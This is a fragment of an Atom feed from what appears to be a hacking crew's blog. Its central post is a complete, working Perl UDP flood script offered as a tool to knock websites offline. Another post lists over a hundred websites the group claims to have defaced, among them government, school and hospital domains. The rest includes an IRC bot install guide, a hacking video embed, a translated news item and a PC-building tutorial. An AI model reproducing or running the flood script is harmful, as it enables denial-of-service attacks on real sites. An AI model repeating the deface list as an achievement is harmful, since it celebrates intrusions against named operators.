yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6601192387297638662</id><published>2011-03-26T17:33:00.004+07:00</published><updated>2011-03-26T19:12:46.871+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><title type='text'>Tools For DDOS website</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;#####################################################&lt;br /&gt;# udp flood.&lt;br /&gt;#&lt;br /&gt;# www.everydaywith.us&lt;br /&gt;#&lt;br /&gt;#Perl script For Denial Of services&lt;br /&gt;######################################################&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;$ARGC=@ARGV;&lt;br /&gt;&lt;br /&gt;if ($ARGC !=3) {&lt;br /&gt; printf "$0 &lt;ip&gt; &lt;port&gt; &lt;time&gt;\n";&lt;br /&gt; printf "if arg1/2 =0, randports/continous packets.\n";&lt;br /&gt; exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;my ($ip,$port,$size,$time);&lt;br /&gt; $ip=$ARGV[0];&lt;br /&gt; $port=$ARGV[1];&lt;br /&gt; $time=$ARGV[2];&lt;br /&gt;&lt;br /&gt;socket(crazy, PF_INET, SOCK_DGRAM, 17);&lt;br /&gt;    $iaddr = inet_aton("$ip");&lt;br /&gt;&lt;br /&gt;printf "udp flood - everydaywithus";&lt;br /&gt;&lt;br /&gt;if ($ARGV[1] ==0 &amp;&amp; $ARGV[2] ==0) {&lt;br /&gt; goto randpackets;&lt;br /&gt;}&lt;br /&gt;if ($ARGV[1] !=0 &amp;&amp; $ARGV[2] !=0) {&lt;br /&gt; system("(sleep $time;killall -9 udp) &amp;");&lt;br /&gt; goto packets;&lt;br /&gt;}&lt;br /&gt;if ($ARGV[1] !=0 &amp;&amp; $ARGV[2] ==0) {&lt;br /&gt; goto packets;&lt;br /&gt;}&lt;br /&gt;if ($ARGV[1] ==0 &amp;&amp; $ARGV[2] !=0) {&lt;br /&gt; system("(sleep $time;killall -9 udp) &amp;");&lt;br /&gt; goto randpackets;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;packets:&lt;br /&gt;for (;;) {&lt;br /&gt; $size=$rand x $rand x $rand;&lt;br /&gt; send(crazy, 0, $size, sockaddr_in($port, $iaddr));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;randpackets:&lt;br /&gt;for (;;) {&lt;br /&gt; $size=$rand x $rand x $rand;&lt;br /&gt; $port=int(rand 65000) +1;&lt;br /&gt; send(crazy, 0, $size, sockaddr_in($port, $iaddr));&lt;br /&gt;}&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6601192387297638662?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6601192387297638662/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/tools-for-ddos-website.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6601192387297638662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6601192387297638662'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/tools-for-ddos-website.html' title='Tools For DDOS website'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2496616022771120433</id><published>2011-03-26T15:27:00.001+07:00</published><updated>2011-03-26T15:31:46.657+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><title type='text'>hacking wireless with laptop</title><content type='html'>&lt;iframe title="YouTube video player" src="http://www.youtube.com/embed/jETwvEDaJeQ" allowfullscreen="" frameborder="0" height="390" width="440"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;This video just for knowledge&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2496616022771120433?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2496616022771120433/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/hacking-wireless-with-laptop.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2496616022771120433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2496616022771120433'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/hacking-wireless-with-laptop.html' title='hacking wireless with laptop'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/jETwvEDaJeQ/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-8080269164250253760</id><published>2011-03-26T15:13:00.001+07:00</published><updated>2011-03-26T15:24:14.217+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defacer'/><title type='text'>Site Deface 26 march 2011</title><content type='html'>www.skbkotabatam.com&lt;br /&gt;en.sarebangallery.com&lt;br /&gt;www.sifu.my&lt;br /&gt;smkserimahawangsa.edu.my&lt;br /&gt;cbi.messagetarget.com&lt;br /&gt;messagetarget.com&lt;br /&gt;liquidfire.co.za&lt;br /&gt;capitalsense.za.net&lt;br /&gt;andyblog.za.net&lt;br /&gt;www.picturenames.co.uk&lt;br /&gt;www.homebizmedia.com&lt;br /&gt;box2.host1free.com&lt;br /&gt;spirr-itube.com&lt;div class="fullpost"&gt;  &lt;br /&gt;moltenpros.com&lt;br /&gt;nanovisuals.com&lt;br /&gt;www.dtodhomemarketdelivery.com.au&lt;br /&gt;www.rwcmaine.com&lt;br /&gt;maldo.tv&lt;br /&gt;www.annisaputrirahmanto.com&lt;br /&gt;globalscoutreport.com&lt;br /&gt;iprayla.org&lt;br /&gt;audionetbook.com&lt;br /&gt;indamixx.com&lt;br /&gt;mobiledaw.com&lt;br /&gt;hdmidjs.com&lt;br /&gt;badflo.wen.ru&lt;br /&gt;xrobe.com&lt;br /&gt;vodtv.cc&lt;br /&gt;evidence.za.org&lt;br /&gt;cdewservices.co.za&lt;br /&gt;applegranite.za.net&lt;br /&gt;shaunbartlett.co.za&lt;br /&gt;liquidfire.mobi&lt;br /&gt;skycaster.tv&lt;br /&gt;executiveautocare.za.net&lt;br /&gt;cpf.za.org&lt;br /&gt;fidb.info&lt;br /&gt;citynet.za.net&lt;br /&gt;kurios.tv&lt;br /&gt;dbc.za.org&lt;br /&gt;neolive.za.net&lt;br /&gt;cbi.za.net&lt;br /&gt;grapevineonline.info&lt;br /&gt;rolfrhodes.com&lt;br /&gt;mymindskey.com&lt;br /&gt;ohsosweetdesigns.com&lt;br /&gt;jumpyparty.com&lt;br /&gt;www.pinlabs.unair.ac.id&lt;br /&gt;isaiascenter.com&lt;br /&gt;rohatools.com&lt;br /&gt;www.letempsdesfils.fr&lt;br /&gt;moune54.free.fr&lt;br /&gt;www.timbrecarimbosartesanais.com.br&lt;br /&gt;passarosenaturez.web43.f1.k8.com.br&lt;br /&gt;www.discosdevinilcalcadapaulista.com&lt;br /&gt;transpartsdirect.com&lt;br /&gt;etowahliving.com&lt;br /&gt;nuojieer.com&lt;br /&gt;www.tcoverstock.com&lt;br /&gt;boyimy.com&lt;br /&gt;www.szsdf.com&lt;br /&gt;www.ifmotorsports.com&lt;br /&gt;patesi.com&lt;br /&gt;i-costar.com&lt;br /&gt;loyo-car.com&lt;br /&gt;szusbking.com&lt;br /&gt;phoenixjd.com&lt;br /&gt;zhongaiyis.com&lt;br /&gt;goldensheep1997.com&lt;br /&gt;monster-transmissions.com&lt;br /&gt;allchineseparts.com&lt;br /&gt;www.sunnymotor.com&lt;br /&gt;www.powersportsgalaxy.com&lt;br /&gt;www.wavplanet.com&lt;br /&gt;www.mitrapulsaindonesia.com&lt;br /&gt;payments.gwresources.com&lt;br /&gt;randall-coleman.com&lt;br /&gt;www.theidiomhouse.com.br&lt;br /&gt;www.littleangelcards.co.uk&lt;br /&gt;www.tootsiefootsie.co.uk&lt;br /&gt;villa-boki.de&lt;br /&gt;www.americanspectrum.com&lt;br /&gt;www.kappauns.com.br&lt;br /&gt;holdemfriends.de&lt;br /&gt;www.maozinhasdeanjo.org.br&lt;br /&gt;revolta.star-kom.pl&lt;br /&gt;grupovelser.com&lt;br /&gt;agentur-24.eu&lt;br /&gt;casa-lavanda.com&lt;br /&gt;bizermani.com&lt;br /&gt;www.bigbargainsonline.co.za&lt;br /&gt;hometown.my&lt;br /&gt;shopto.in&lt;br /&gt;kreatvisual.mx&lt;br /&gt;tallyindia.co.in&lt;br /&gt;webshop.incitus.no&lt;br /&gt;meerschaum-pfeifen.com&lt;br /&gt;www.umoja.co.nz&lt;br /&gt;www.akmeneliurojus.lt&lt;br /&gt;vivapens.su&lt;br /&gt;pipexstore.host22.com&lt;br /&gt;www.novitet.dk&lt;br /&gt;kambingonline.net&lt;br /&gt;www.lutashop.com.br&lt;br /&gt;www.hans.com.eg&lt;br /&gt;www.vikon-shardy.hr&lt;br /&gt;kdsoft.de&lt;br /&gt;steakstones.com&lt;br /&gt;www.elracodelesflors.es&lt;br /&gt;www.todoenjoyas.cl&lt;br /&gt;oka.cl&lt;br /&gt;www.ekoaromas.cl&lt;br /&gt;www.sema-online.be&lt;br /&gt;thetimeclockstore.com&lt;br /&gt;www.materiel.ci&lt;br /&gt;mareaelectronica.com.ar&lt;br /&gt;granthamdesigns.com&lt;br /&gt;www.flowershop.az&lt;br /&gt;testspotz1.site90.com&lt;br /&gt;ezshoponline.com&lt;br /&gt;infofisioterapi.com&lt;br /&gt;westerlyhospital.org&lt;br /&gt;bringraph.com.br&lt;br /&gt;mntaxidermy.com&lt;br /&gt;redsandaltours.com&lt;br /&gt;www.employmentbrockville.com&lt;br /&gt;aquacor.com.au&lt;br /&gt;thematrixxpowersuit.com&lt;br /&gt;800pg.co.cc&lt;br /&gt;sitesdeprovence.free.fr&lt;br /&gt;pantai.pusair-pu.go.id&lt;br /&gt;lk.pusair-pu.go.id&lt;br /&gt;rawa.pusair-pu.go.id&lt;br /&gt;irigasi.pusair-pu.go.id&lt;br /&gt;hidrologi.pusair-pu.go.id&lt;br /&gt;hidrologi.pusair-pu.go.id&lt;br /&gt;hathi.pusair-pu.go.id&lt;br /&gt;bhgk.pusair-pu.go.id&lt;br /&gt;web2.pusair-pu.go.id&lt;br /&gt;www.pusair-pu.go.id&lt;br /&gt;www.globaltrucks.hu&lt;br /&gt;www.fushicopperweld.com&lt;br /&gt;www.spitzeleben.de&lt;br /&gt;www.doggies.com.my&lt;br /&gt;www.isbm-school.com&lt;br /&gt;mkspace.biz&lt;br /&gt;www.mitrapulsaindonesia.com&lt;br /&gt;cyber.sman1narmada.sch.id&lt;br /&gt;lab.sman1narmada.sch.id&lt;br /&gt;perpus.sman1narmada.sch.id&lt;br /&gt;doc.sman1narmada.sch.id&lt;br /&gt;media.sman1narmada.sch.id&lt;br /&gt;e-learning.sman1narmada.sch.id&lt;br /&gt;site.sman1narmada.sch.id&lt;br /&gt;jibas.sman1narmada.sch.id&lt;br /&gt;www.sman1narmada.sch.id&lt;br /&gt;www.ikomputer.com&lt;br /&gt;artihidupku.com&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-8080269164250253760?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/8080269164250253760/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/site-deface-26-march-2011.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8080269164250253760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8080269164250253760'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/site-deface-26-march-2011.html' title='Site Deface 26 march 2011'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2278016521447205134</id><published>2011-02-15T02:14:00.002+07:00</published><updated>2011-03-26T15:37:44.455+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacknews'/><title type='text'>Chinese Hackers acting</title><content type='html'>&lt;span id="result_box" class="long_text"  style="font-size:100%;"&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Para peretas (hacker) yang beroperasi dari China diduga berhasil mencuri informasi milik perusahaan-perusahaan minyak dan gas asal negara-negara Barat."&gt;The  hackers (hackers) who operate from China allegedly managed to steal  information belonging to oil companies and gas from Western countries. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Caranya dengan menerobos jaringan komputer perusahaan yang bersangkutan walau sudah dilengkapi perangkat canggih."&gt;The way to break through the&lt;div class="fullpost"&gt; computer network company in question though is equipped with advanced devices.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Menurut kantor berita Associated Press, laporan itu disampaikan oleh salah satu produsen anti virus ternama, McAfee Inc., Kamis 10 Februari 2011."&gt;According  to the Associated Press news agency the report was submitted by one of  the leading manufacturers of anti-virus, McAfee Inc.., Thursday,  February 10, 2011. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Tidak disebutkan perusahaan apa saja yang berhasil disabotase para hacker Tiongkok."&gt;He did not mention any company that successfully sabotaged Chinese hackers. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Perusahaan-perusahaan migas itu hanya disebut berada di Amerika Serikat (AS), Taiwan, Yunani, dan Kazakstan."&gt;Oil and gas companies were mentioned only in the United States (U.S.), Taiwan, Greece, and Kazakhstan.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="McAfee mengungkapkan, serangan para hacker itu dimulai sejak November 2009."&gt;McAfee said that the hacker attacks that began in November 2009. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="&amp;quot;Mereka mengidentifikasi perangkat, teknik, dan aktivitas jaringan yang digunakan dalam serangan, yang kami sebut sebagai 'Naga Malam,' terutama berasal di China,&amp;quot; demikian laporan McAfee."&gt;"They  identified tools, techniques, and network activities that are used in  the attack, which we refer to as 'Dragon Night,' mainly originated in  China," according to McAfee.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Metode operasi para hacker itu dianggap tidak sampai rumit."&gt;Method of operating the hackers it is considered not to elaborate. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Namun, mereka dikenal sangat sabar dan diduga sudah bertahun-tahun menyusup di dalam jaringan komputer sasaran."&gt;However, they are known to be very patient and have for years allegedly infiltrated in the target computer network.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="&amp;quot;Tampaknya bergaya tradisional, yaitu meretas untuk mencuri data,&amp;quot; kata Josh Shaul, eksekutif perusahaan jasa keamanan sistem komputer dari Application Security Inc."&gt;"It  looks like the traditional style, which is paved to steal data," said  Josh Shaul, executive security services company computer system from  Application Security Inc.. &lt;/span&gt;&lt;span title="di New York."&gt;in New York.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Tahun lalu, dalam laporan gabungan dari McAfee dan Center Center for Strategic and International Studies di Washington, AS, mengungkapkan bahwa lebih dari 300 operator pembangkit listrik dan infrastruktur lain mengaku jaringan komputer mereka disusupi pihak tak dikenal."&gt;Last  year, in a joint report from McAfee and Centers Center for Strategic  and International Studies in Washington, USA, revealed that more than  300 power plant operators and other infrastructure admit they  infiltrated the computer network is unknown.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Pada umumnya, motivasi para hacker adalah untuk memeras perusahaan yang mereka incar."&gt;In general, the motivation of hackers is to squeeze the companies they seek. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="Perusahaan minyak menjadi target empuk karena diyakini berpenghasilan sangat besar."&gt;Oil companies become soft targets because it is believed a very large income.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2278016521447205134?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2278016521447205134/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2011/02/chinese-hackers-acting.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2278016521447205134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2278016521447205134'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2011/02/chinese-hackers-acting.html' title='Chinese Hackers acting'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-3332116009036612563</id><published>2009-01-29T23:58:00.002+07:00</published><updated>2009-01-30T00:09:59.046+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Get free Domain And Free Hosting with Cpanel</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a href="http://www.co.cc/?id=151537" target="_blank"&gt;&lt;img src="http://www.co.cc/img/affiliates/cocc_117px_2.gif" alt="CO.CC:Free Domain" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;you just click banner of above and find the domain to register. If you finished register some domain names (max 2 domain for free ) you can setup and register your hosting &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.000webhost.com/79524.html"&gt;here&lt;/a&gt;&lt;/span&gt; or you can click a banner under this posting.&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-3332116009036612563?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/3332116009036612563/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2009/01/get-free-domain-and-free-hosting-with.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/3332116009036612563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/3332116009036612563'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2009/01/get-free-domain-and-free-hosting-with.html' title='Get free Domain And Free Hosting with Cpanel'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-8573077200254210522</id><published>2009-01-10T18:50:00.002+07:00</published><updated>2009-01-10T18:56:28.310+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>how to install MIRC bot eggdrop and psybnc</title><content type='html'>&lt;span style="font-weight: bold;"&gt;I. How to make bot EGGDROP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Login your Shell&lt;br /&gt;2. wget http://geocities.com/chibogacrew/azka.tgz&lt;br /&gt;3. tar-zxvf azka.tgz&lt;br /&gt;4. cd. temp&lt;br /&gt;5. . / config nadya nick en ip shell chanel admin porttelnet&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;example:&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;. /nadya test arieyanie  ccrew 123.01.23.56 chibogacrew samiun 1985&lt;/span&gt;&lt;br /&gt;6. ./eggdrop test-m &lt;- config files now live in the waiting on you  dalnet channel , if I go bot bot is pv, type the password (type your password) such as a password 456789&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; II. How to Make Psybnc  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Login Your Shell&lt;br /&gt;2. wget http://geocities.com/chibogacrew/psy.tar.gz &lt;br /&gt;3. tar-zxvf psy.tar.gz &lt;br /&gt;4. cd. psy &lt;br /&gt;5. &lt;span style="font-style: italic;"&gt;. / config 1986&lt;/span&gt; &lt;--- port that can be selected in addition to this I&lt;br /&gt;6. &lt;span style="font-style: italic;"&gt;. / fuck&lt;/span&gt; &lt;br /&gt;7. &lt;span style="font-style: italic;"&gt;. / run&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-8573077200254210522?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/8573077200254210522/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2009/01/how-to-install-mirc-bot-eggdrop-and.html#comment-form' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8573077200254210522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8573077200254210522'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2009/01/how-to-install-mirc-bot-eggdrop-and.html' title='how to install MIRC bot eggdrop and psybnc'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2457383495832078790</id><published>2009-01-09T18:58:00.004+07:00</published><updated>2011-03-29T09:24:48.060+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Build up your Computer</title><content type='html'>&lt;span style="font-weight: bold;"&gt;1. Getting Started &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; Prepare all components of the computer you will raft, such as casing, mainboard, processor, video card, memory, hard disk, and optical drive (DVD-Rom). Prepare also mur, which is located on the screw in the casing, and also a screwdriver and pliers. Manual motherboard is also required when there is someone you do not understand in the future.&lt;/span&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Installing the Processor and Memory motherboard&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The next step is to &lt;span style="font-weight: bold;"&gt;install the processor&lt;/span&gt; on the mainboard. Open up the processor, remove the processor and equipped with heatsinks with the fan. Processor with a pair considering the 'elbow' of the processor and the socket on the mainboard (slide the cover and lift the first processor socket on the motherboard). Installation must fit between the mainboard with the processor.&lt;br /&gt;&lt;br /&gt;After the pair heatsinks with fans on the top of the processor. The pair on the left and right heatsinks. After that 'key' heatsinks that integrates with the motherboard, and will not be easily undone. Do not forget to connect the power cable to the motherboard fan is usually located close to the left or right from the processor socket.&lt;br /&gt;&lt;br /&gt;Set the memory (RAM) on the socket is available on the computer. Make sure the position of the slot according to the location of the memory. After fitting the position, press enter and memory that integrates with the motherboard. This will be visible to lock in the left and right will automatically rise to the top, when the memory is installed correctly.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. motherboard to enter the computer casing&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Time you enter into the casing motherboard. If you install the mainboard difficulty or collide with the power supply, you should first dislodged from power supply casing. Set first 'backplate' buffer (which is on the mainboard) on the inside casing. Backplate should be adjusted to the first position mainboard, and the aluminum bolongin who may still be closed from the original factory.&lt;br /&gt;&lt;br /&gt;Then attach mur (check first that the position of the location fit the mainboard), which will be a buffer from the mainboard (mur over the form of air, beneath the screw-shaped) in the place provided on the casing. Ensure the right position, and key with pliers. After take motherboard on the top of the mur, and kuncilah with the screw. Make sure mur installed correctly, so that the mainboard when appointed, will not move.&lt;br /&gt;&lt;br /&gt;connected choke cable power supply with the mainboard, note that the cable is suitable for the (usually located close to the memory). There are 2 cables that you need to install (if a certain type of computer or type 1 long free cable only).&lt;br /&gt;&lt;br /&gt;Then there is the cable that lies at the bottom of the casing, which have about 15 pieces cable. To install, you need to see the manual of your motherboard, or sometimes have information on the motherboard, with the pair to see the position of + and - correctly, and be sure to be wrong.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. Harddisk and install DVD-ROM/RW &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The next step is to install a hard drive in place that have been provided on the inside casing. Usually located in the middle of the bottom of the casing. don't forget to connect the power cable to the hard disk, hard disk and the data cable to the motherboard, then kuncilah with the screw provided. In the video installation disk is still a long hard type that is still using the IDE. If the SATA hard disk is more or less the same, you only need the cable to  match only to harddisk.&lt;br /&gt;&lt;br /&gt;The step-ROM or DVD RW is also almost the same. You need to first remove the cover that is at the top of the casing. After the DVD-ROM drive installed, do not forget to lock the side of the four DVD-ROM with the screw provided. Do not forget to also connect the cable to the power of DVD-ROM and data cable to the mainboard. And one audio cable that can connect you with a sound card (if any) or the motherboard (if you onboard sound card).&lt;br /&gt;&lt;br /&gt;The last step is to install VGA Card (if any). If you &lt;span style="font-weight: bold;"&gt;onboard VGA&lt;/span&gt; with the mainboard, this step can you ignore. VGA slots are usually located in the middle of the &lt;span style="font-weight: bold;"&gt;mainboard &lt;/span&gt;(processor side) with a slot that another color alone. In the video posted is &lt;span style="font-weight: bold;"&gt;AGP VGA&lt;/span&gt; Card, for a new type (PCI-E), is the same way.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2457383495832078790?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2457383495832078790/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2009/01/how-to-up-computer.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2457383495832078790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2457383495832078790'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2009/01/how-to-up-computer.html' title='Build up your Computer'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' 